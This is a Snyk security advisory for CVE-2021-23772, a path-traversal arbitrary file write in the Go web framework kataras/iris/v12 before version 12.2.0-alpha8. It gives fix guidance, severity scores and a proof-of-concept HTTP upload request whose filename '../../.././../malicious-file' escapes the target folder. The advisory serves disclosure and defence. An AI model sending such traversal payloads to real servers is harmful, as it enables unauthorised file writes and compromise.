

Arbitrary File Write

Affecting [github.com/kataras/iris/v12](#) package, versions <12.2.0-alpha8

INTRODUCED: 23 DEC 2021 [CVE-2021-23772](#) ⓘ [CWE-59](#) ⓘ [FIRST ADDED BY SNYK](#) Share ▾

**How to fix?**  
Upgrade [github.com/kataras/iris/v12](#) to version 12.2.0-alpha8 or higher.

Overview

[github.com/kataras/iris/v12](#) is a fast, simple yet fully featured and very efficient web framework for Go.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using `UploadFormFiles` method may enable attackers to write to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the [upload-files](#) example.

```
POST /upload HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=----xxx Connection: close Content-Length: 151
-----xxx Content-Disposition: form-data; name="uploadfile"; filename="../../.././../malicious-file" Content-Type: text/plain

pwned

-----XXx--
```

**Note:** the vulnerability is only possible in Go < 1.7.5 due to unsafe `net/http` behaviour.

References

- [GitHub Commit](#)

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HIGH

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Snyk CVSS

Exploit Maturity	Proof of concept ⓘ
Attack Complexity	High ⓘ
Confidentiality	HIGH ⓘ
Integrity	HIGH ⓘ
Availability	HIGH ⓘ

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> NVD 8.8 HIGH

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Snyk ID	SNYK-GOLANG-GITHUBCOMKATARASIRISV12-2325170
Published	23 Dec 2021
Disclosed	23 Dec 2021
Credit	Snyk Security Team

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